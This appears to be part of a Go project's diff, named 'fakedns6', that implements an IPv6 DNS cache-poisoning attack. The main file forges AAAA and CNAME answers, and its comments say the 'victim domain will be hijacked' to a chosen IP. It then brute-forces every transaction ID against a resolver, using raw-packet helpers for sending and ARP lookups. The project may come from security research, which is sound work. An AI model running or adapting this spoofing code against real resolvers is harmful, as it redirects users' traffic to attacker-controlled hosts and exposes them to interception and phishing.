OPT: nil,
TXT: nil,
}}
dnsLayer.Answers = []layers.DNSResourceRecord{{
Name: []byte(dnsQueryName),
Type: layers.DNSTypeAAAA,
Class: layers.DNSClassIN,
TTL: 300,
/* Fill with any IP you want. The victim domain will be hijacked to this IP. */
IP: net.ParseIP("2001::1234"),
NS: nil,
CNAME: nil,
PTR: nil,
TXTs: nil,
SOA: layers.DNSSOA{},
SRV: layers.DNSSRV{},
MX: layers.DNSMX{},
OPT: nil,
TXT: nil,
}}
dnsLayer.Additionals = nil
} else {
/* Change these flags accordingly to the request sent by the resolver. */
dnsLayer.AA = false
dnsLayer.RD = true
dnsLayer.RA = true
dnsLayer.Questions = []layers.DNSQuestion{{
Name: []byte(dnsQueryName),
Type: layers.DNSTypeAAAA,
Class: layers.DNSClassIN,
}}
dnsLayer.Answers = []layers.DNSResourceRecord{{
Name: []byte(dnsQueryName),
Type: layers.DNSTypeCNAME,
Class: layers.DNSClassIN,
TTL: 300,
IP: nil,
NS: nil,
CNAME: []byte(victimDNSName),
PTR: nil,
TXTs: nil,
SOA: layers.DNSSOA{},
SRV: layers.DNSSRV{},
MX: layers.DNSMX{},
OPT: nil,
TXT: nil,
}, {
Name: []byte(victimDNSName),
Type: layers.DNSTypeAAAA,
Class: layers.DNSClassIN,
TTL: 300,
/* Fill with any IP you want. The victim domain will be hijacked to this IP. */
IP: net.ParseIP("2001::1234"),
NS: nil,
CNAME: nil,
PTR: nil,
TXTs: nil,
SOA: layers.DNSSOA{},
SRV: layers.DNSSRV{},
MX: layers.DNSMX{},
OPT: nil,
TXT: nil,
}}
}
err := udpLayer.SetNetworkLayerForChecksum(&ipLayer)
if err != nil {
fmt.Println("udpLayer.SetNetworkLayerForChecksum @ dns.go error", err)
}
if debugOutput {
fmt.Println("DNS BruteForce: ", targetPort)
}
startTime := time.Now()
var txid uint16
//try to see if this port is open in reality
for txid = 0; txid < GROUP_SIZE*2; txid++ {
dnsLayer.ID = txid
err = Send(handle, ethernetLayer, &ipLayer, &udpLayer, &dnsLayer)
if err != nil {
fmt.Println("can not send packet @ sendDNSRequest pos 1: ", err)
}
time.Sleep(time.Duration(timegap) * time.Microsecond)
}
/* This is used for early termination */
//verification packet
//xmitUDPv6(localIP, resolverBackendIP, layers.UDPPort(targetPort), 65535, 2, 0)
//go bruteForceTerminatingTimer( /*jitter + defaultJitter*/ defaultJitter + 60)
//continue brute force
for txid = GROUP_SIZE * 2; txid < 0xffff; txid++ {
/* This is used for early termination */
//if bruteForceCouldBeKilled && bruteForceShouldBeKilled {
// fmt.Println("DNS Brute force aborted")
// break
//}
dnsLayer.ID = txid
err := Send(handle, ethernetLayer, &ipLayer, &udpLayer, &dnsLayer)
if err != nil {
fmt.Println("can not send packet @ DNSBruteForce: ", err)
}
if timegap != 0 {
time.Sleep(time.Duration(timegap) * time.Microsecond)
}
}
//0xffff is missing from packet trace
/* This is used for early termination */
//if !bruteForceShouldBeKilled {
dnsLayer.ID = 0xffff
err = Send(handle, ethernetLayer, &ipLayer, &udpLayer, &dnsLayer)
if err != nil {
fmt.Println("can not send packet @ DNSBruteForce pos 2: ", err)
}
//}
if debugOutput {
fmt.Println("time: ", time.Now().Sub(startTime))
}
//help to recover the global counter
time.Sleep(time.Duration(60+ /*jitter + defaultJitter*/ defaultJitter) * time.Millisecond)
}

Binary file not shown.

View File

@@ -0,0 +1,15 @@
module fakedns6
go 1.20
require (
github.com/google/gopacket v1.1.19
github.com/miekg/dns v1.1.57
)
require (
golang.org/x/mod v0.12.0 // indirect
golang.org/x/net v0.17.0 // indirect
golang.org/x/sys v0.13.0 // indirect
golang.org/x/tools v0.13.0 // indirect
)

View File

@@ -0,0 +1,25 @@
github.com/google/gopacket v1.1.19 h1:ves8RnFZPGiFnTS0uPQStjwru6uO6h+nlr9j6fL7kF8=
github.com/google/gopacket v1.1.19/go.mod h1:iJ8V8n6KS+z2U1A8pUwu8bW5SyEMkXJB8Yo/Vo+TKTo=
github.com/miekg/dns v1.1.57 h1:Jzi7ApEIzwEPLHWRcafCN9LZSBbqQpxjt/wpgvg7wcM=
github.com/miekg/dns v1.1.57/go.mod h1:uqRjCRUuEAA6qsOiJvDd+CFo/vW+y5WR6SNmHE55hZk=
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
golang.org/x/lint v0.0.0-20200302205851-738671d3881b/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY=
golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg=
golang.org/x/mod v0.12.0 h1:rmsUpXtvNzj340zd98LZ4KntptpfRHwpFOHG188oHXc=
golang.org/x/mod v0.12.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs=
golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.17.0 h1:pVaXccu2ozPjCXewfr1S7xza/zcXTity9cCdXQYSjIM=
golang.org/x/net v0.17.0/go.mod h1:NxSsAGuq816PNPmqtQdLE42eU2Fs7NoRIZrHJAlaCOE=
golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.4.0 h1:zxkM55ReGkDlKSM+Fu41A+zmbZuaPVbGMzvvdUPznYQ=
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.13.0 h1:Af8nKPmuFypiUBjVoU9V20FiaFXOcuZI21p0ycVYYGE=
golang.org/x/sys v0.13.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
golang.org/x/tools v0.13.0 h1:Iey4qkscZuv0VvIt8E0neZjtPVQFSc870HQ448QgEmQ=
golang.org/x/tools v0.13.0/go.mod h1:HvlwmtVNQAhOuCjW7xxvovg8wbNq7LwfXh/k7wXUl58=
golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=

View File

@@ -0,0 +1,171 @@
package main
import (
"encoding/binary"
"errors"
"fmt"
"github.com/google/gopacket"
"github.com/google/gopacket/layers"
"github.com/google/gopacket/pcap"
"net"
"time"
)
func GetIfaceAddrMulti(iface *net.Interface) ([]net.IP, error) {
addrs, err := iface.Addrs()
if err != nil {
return nil, errors.New("can not get ip address")
}
var srcIP []net.IP
for _, address := range addrs {
if ipnet, ok := address.(*net.IPNet); ok && !ipnet.IP.IsLoopback() {
if ipnet.IP.To16() != nil {
//check repeat
okToAdd := true
for _, temp := range srcIP {
if compareIPv6Addr(temp, ipnet.IP.To16()) == 0 {
okToAdd = false
break
}
}
if okToAdd {
srcIP = append(srcIP, ipnet.IP.To16())
}
}
}
}
if srcIP == nil || len(srcIP) == 0 {
return nil, errors.New("can not get ip address")
}
return srcIP, nil
}
func Send(handle *pcap.Handle, l ...gopacket.SerializableLayer) error {
opts := gopacket.SerializeOptions{
FixLengths: true,
ComputeChecksums: true,
}
buffer := gopacket.NewSerializeBuffer()
if err := gopacket.SerializeLayers(buffer, opts, l...); err != nil {
return err
}
return handle.WritePacketData(buffer.Bytes())
}
func GetIfaceAddr(iface *net.Interface) (net.IP, error) {
addrs, err := iface.Addrs()
if err != nil {
return nil, errors.New("can not get ip address")
}
var srcIP net.IP
for _, address := range addrs {
if ipnet, ok := address.(*net.IPNet); ok && !ipnet.IP.IsLoopback() {
if ipnet.IP.To16() != nil {
srcIP = ipnet.IP.To16()
break
}
}
}
if srcIP == nil {
return nil, errors.New("can not get ip address")
}
return srcIP, nil
}
func GetGatewayAddr(iface *net.Interface, handle *pcap.Handle, gatewayIP net.IP) (net.HardwareAddr, error) {
srcIP, err := GetIfaceAddr(iface)
if err != nil {
return nil, errors.New("can not get ip address")
}
start := time.Now()
// Prepare the layers to send for an ARP request.
eth := layers.Ethernet{
SrcMAC: iface.HardwareAddr,
DstMAC: net.HardwareAddr{0xff, 0xff, 0xff, 0xff, 0xff, 0xff},
EthernetType: layers.EthernetTypeARP,
}
arp := layers.ARP{
AddrType: layers.LinkTypeEthernet,
Protocol: layers.EthernetTypeIPv6,
HwAddressSize: 6,
ProtAddressSize: 4,
Operation: layers.ARPRequest,
SourceHwAddress: []byte(iface.HardwareAddr),
SourceProtAddress: []byte(srcIP),
DstHwAddress: []byte{0, 0, 0, 0, 0, 0},
DstProtAddress: []byte(gatewayIP),
}
// Send a single ARP request packet (we never retry a send, since this
// is just an example ;)
if err := Send(handle, &eth, &arp); err != nil {
return nil, err
}
// Wait 3 seconds for an ARP reply.
for {
if time.Since(start) > time.Second*3 {
return nil, errors.New("timeout getting ARP reply")
}
data, _, err := handle.ReadPacketData()
if err == pcap.NextErrorTimeoutExpired {
continue
} else if err != nil {
return nil, err
}
packet := gopacket.NewPacket(data, layers.LayerTypeEthernet, gopacket.NoCopy)
if arpLayer := packet.Layer(layers.LayerTypeARP); arpLayer != nil {
arp := arpLayer.(*layers.ARP)
if net.IP(arp.SourceProtAddress).Equal(gatewayIP) {
return arp.SourceHwAddress, nil
}
}
}
}
func compareIPv6Addr(ip0 net.IP, ip1 net.IP) int {
temp0 := binary.LittleEndian.Uint32(ip0.To16())
temp1 := binary.LittleEndian.Uint32(ip1.To16())
if temp0 == temp1 {
return 0
}
if temp0 > temp1 {
return 1
}
return -1
}
func xmitUDPv6(srcIP net.IP, dstIP net.IP, srcPort layers.UDPPort, dstPort layers.UDPPort, flowlabel uint32, timegap uint32) {
ipLayer := layers.IPv6{
FlowLabel: flowlabel,
SrcIP: srcIP,
DstIP: dstIP,
Version: 6,
HopLimit: 64,
NextHeader: layers.IPProtocolUDP,
}
udpLayer := layers.UDP{
SrcPort: srcPort,
DstPort: dstPort,
}
err := udpLayer.SetNetworkLayerForChecksum(&ipLayer)
if err != nil {
fmt.Println("xmitUDPv6 can not SetNetworkLayerForChecksum", err)
}
err = Send(handle, ethernetLayer, &ipLayer, &udpLayer)
if err != nil {
fmt.Println("xmitUDPv6 can not send packet", err)
}
if timegap != 0 {
time.Sleep(time.Duration(timegap) * time.Microsecond)
}
}

Binary file not shown.

1
4_v6_injection/txid.bin Normal file
View File

@@ -0,0 +1 @@
G"

Binary file not shown.